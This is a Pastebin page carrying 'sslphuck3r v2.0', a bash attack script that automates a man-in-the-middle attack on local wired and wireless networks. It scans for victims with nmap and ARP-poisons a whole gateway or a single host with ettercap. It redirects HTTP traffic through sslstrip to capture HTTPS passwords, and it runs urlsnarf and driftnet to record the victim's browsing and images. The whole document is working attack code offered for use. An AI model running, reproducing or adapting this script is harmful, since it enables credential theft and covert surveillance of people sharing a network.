Advertisement
Guest User

sslphuck3r v2.0

a guest
Nov 21st, 2014
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.83 KB | None | 0 0
  1.  
  2.  
  3. #!/bin/bash
  4.  
  5. # ssl_puck3r v2.0
  6. # Revised 04/24/14
  7. # Created By: n1tr0g3n & R4v3N
  8. # Special thanks to TAPE and Acexor for helping test out the script during the coding stages!
  9. # http://www.top-hat-sec.com // http://www.n1tr0g3n.com // http://www.red-team-labs.com // http://www.teamctfu.com/
  10.  
  11. clear
  12. # TAPES COLORZ (thanks TAPE!)
  13. STD=$(echo -e "\e[0;0;0m") #Revert fonts to standard colour/format
  14. RED=$(echo -e "\e[1;31m") #Alter fonts to red bold
  15. REDN=$(echo -e "\e[0;31m") #Alter fonts to red normal
  16. GRN=$(echo -e "\e[1;32m") #Alter fonts to green bold
  17. GRNN=$(echo -e "\e[0;32m") #Alter fonts to green normal
  18. BLU=$(echo -e "\e[1;36m") #Alter fonts to blue bold
  19. BLUN=$(echo -e "\e[0;36m") #Alter fonts to blue normal
  20. DATE=$(date +%h%d-%Y-%H%M)
  21. DGATEWAY=$(route -n | grep 'UG[ \t]' | awk '{print $2}')
  22. GATELAN()
  23. {
  24. echo ""
  25. echo $GRN"[*] Starting attack on Gateway"
  26. route -n | grep 'UG[ \t]' | awk '{print $2}'
  27. sleep 2
  28. #This will start URLSnarf to show the websites the victim browses
  29. xterm -e urlsnarf -i $IFACE &
  30. #this command will set up all redirection
  31. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  32. #This command will start ettercap
  33. ettercap -L $DATE -T -q -i $IFACE -M ARP:REMOTE // // &
  34. #This command will start SSLStrip to start sniffing https:// passwords
  35. xterm -e sslstrip -a -l 10000 &
  36. xterm -e driftnet -i $IFACE &
  37. echo
  38. echo "[*] Press ENTER to stop session"
  39. read ENTERKEY
  40. killall sslstrip
  41. killall ettercap
  42. killall urlsnarf
  43. killall xterm
  44. echo "0" > /proc/sys/net/ipv4/ip_forward
  45. iptables --flush
  46. iptables --table nat --flush
  47. iptables --delete-chain
  48. iptables --table nat --delete-chain
  49. }
  50.  
  51. GATEWIFI(){
  52. echo ""
  53. #This will allow you to forward packets from the router
  54. echo $GRN"[*] Starting attack on gateway"
  55. route -n | grep 'UG[ \t]' | awk '{print $2}'
  56. sleep 2
  57. #This will start URLSnarf to show the websites the victim browses
  58. xterm -e urlsnarf -i $IFACE &
  59. #this command will set up all redirection
  60. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  61. #This command will start ettercap
  62. ettercap -L $DATE -T -q -i $IFACE -M arp:remote /$DGATEWAY/ // &
  63. #sudo xterm -e ettercap -TqM ARP:REMOTE // // & -----> command for LAN
  64. #This command will start SSLStrip to start sniffing https:// passwords
  65. xterm -e sslstrip -a -l 10000 &
  66. xterm -e driftnet -i $IFACE &
  67. echo "[*] Press ENTER to stop session"
  68. read ENTERKEY
  69. killall sslstrip
  70. killall ettercap
  71. killall urlsnarf
  72. killall xterm
  73. echo "0" > /proc/sys/net/ipv4/ip_forward
  74. iptables --flush
  75. iptables --table nat --flush
  76. iptables --delete-chain
  77. iptables --table nat --delete-chain
  78. }
  79. SINGLELAN(){
  80. #This will allow you to forward packets from the router
  81. echo ""
  82. echo "Possible Targets:"
  83. nmap -PR -sn $DGATEWAY/24 | sed /'Starting'/d | sed /'MAC'/d | sed /Host/d | sed /'done'/d | sed /addresses/d | sed '2 d' | awk '{print $5}'
  84. echo ""
  85. echo -n $RED"[*] Please type the IP of the target: "$GRN
  86. read HOST3
  87. echo ""
  88. echo $GRN"[*] Starting Attack on Target Host"
  89. sleep 2
  90. #This will start URLSnarf to show the websites the victim browses
  91. xterm -e urlsnarf -i $IFACE &
  92. #this command will set up all redirection
  93. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  94. #This command will start ettercap
  95. ettercap -L $DATE -T -q -i $IFACE -M ARP:REMOTE /$DGATEWAY/ /$HOST3/ &
  96. #This command will start SSLStrip to start sniffing https:// passwords
  97. xterm -e sslstrip -a -l 10000 &
  98. xterm -e driftnet -i $IFACE &
  99. echo "Press ENTER to stop session"
  100. read ENTERKEY
  101. killall sslstrip
  102. killall ettercap
  103. killall urlsnarf
  104. killall xterm
  105. iptables --flush
  106. iptables --table nat --flush
  107. iptables --delete-chain
  108. iptables --table nat --delete-chain
  109. }
  110. SINGLEWIFI(){
  111. #This will allow you to forward packets from the router
  112. echo "Possible Targets:"
  113. nmap -PR -sn $DGATEWAY/24 | sed /'Starting'/d | sed /'MAC'/d | sed /Host/d | sed /'done'/d | sed /addresses/d | sed '2 d' | awk '{print $5}'
  114. echo ""
  115. echo -n $RED"[*] Please type the IP of the target: "$GRN
  116. read HOST4
  117. echo ""
  118. echo $GRN"[*] Starting Attack on Target Host"
  119. #This will start URLSnarf to show the websites the victim browses
  120. xterm -e urlsnarf -i $IFACE &
  121. #this command will set up all redirection
  122. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  123. #This command will start ettercap
  124. ettercap -L $DATE -T -q -i $IFACE -M arp:remote /$DGATEWAY/ /$HOST4/ &
  125. #This command will start SSLStrip to start sniffing https:// passwords
  126. xterm -e sslstrip -a -l 10000 &
  127. xterm -e driftnet -i $IFACE &
  128. echo "[*] Press ENTER to stop session"
  129. read ENTERKEY
  130. killall sslstrip
  131. killall ettercap
  132. killall urlsnarf
  133. killall xterm
  134. iptables --flush
  135. iptables --table nat --flush
  136. iptables --delete-chain
  137. iptables --table nat --delete-chain
  138. }
  139. freset(){
  140. echo ""
  141. ifconfig | grep 'eth\|wlan\|ath\|ra\|rausb\|inet addr' | sed /RX/d
  142. echo $RED""
  143. echo -n "[*] Select Interface: (e.g. eth0): "$GRN
  144. read IFACE
  145. fmen
  146. }
  147. echo $RED'''
  148. .__ .__ __ ________
  149. ______ _____| | ______ | |__ __ __ ____ | | __\_____ \______
  150. / ___// ___/ | \____ \| | \| | \_/ ___\| |/ / _(__ <_ __ \
  151. \___ \ \___ \| |__ | |_> > Y \ | /\ \___| < / \ | \/
  152. /____ >____ >____/ | __/|___| /____/ \___ >__|_ \/______ /__|
  153. \/ \/ |__| \/ \/ \/ \/
  154. All your https are belong to us // sslphuck3r v2.0
  155. http://www.top-hat-sec.com
  156.  
  157. '''
  158. echo "Default Gateway:" "$DGATEWAY"
  159. echo $GRN"[*] Select Interface: (e.g. eth0) "
  160. echo ""
  161. #ifconfig | grep -B 1 Bcast | awk '{print $1, $2}' | tr -d '-' | cut -d : -f 2 | cut -d ' ' -f 1
  162. ifconfig | grep 'eth\|wlan\|ath\|ra\|rausb\|inet addr' | sed /RX/d
  163. echo $GRN""
  164. read -p'''
  165. [>]''' IFACE
  166. fmen(){
  167. IPFORWARD=$(cat /proc/sys/net/ipv4/ip_forward)
  168. echo ""
  169. echo "Default Gateway: " "$DGATEWAY"
  170. if [ "$IPFORWARD" = "1" ]; then
  171. echo "IP Forwarding: " $GRN"Enabled"
  172. elif [ "$IPFORWARD" = "0" ]; then
  173. echo "IP Forwarding: " $RED"Disabled"$GRN
  174. else
  175. echo "IP Forwarding: " $BLU"Unknown"$GRN
  176. fi
  177. echo '''
  178. [00] Change Adapter
  179. [0] Disable IPv4 Forwarding
  180. [1] Enable IPv4 Forwarding
  181. [2] LAN - Entire Gateway
  182. [3] WIRELESS - Entire Gateway
  183. [4] LAN - Single Host
  184. [5] WIRELESS - Single Host
  185. '''
  186. echo $RED""
  187. read -p'''
  188. [>] Select Menu Option: '''$GRN menopt
  189. echo $GRN""
  190. if [ "$menopt" = "00" ]; then
  191. freset
  192. elif [ "$menopt" = "0" ]; then
  193. echo "0" > /proc/sys/net/ipv4/ip_forward
  194. fmen
  195. elif [ "$menopt" = "1" ]; then
  196. echo "1" > /proc/sys/net/ipv4/ip_forward
  197. fmen
  198. elif [ "$menopt" = "2" ]; then
  199. GATELAN
  200. elif [ "$menopt" = "3" ]; then
  201. GATEWIFI
  202. elif [ "$menopt" = "4" ]; then
  203. SINGLELAN
  204. elif [ "$menopt" = "5" ]; then
  205. SINGLEWIFI
  206. else
  207. echo "Invalid Option"
  208. sleep 2
  209. fmen
  210. fi
  211. }
  212. fmen
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement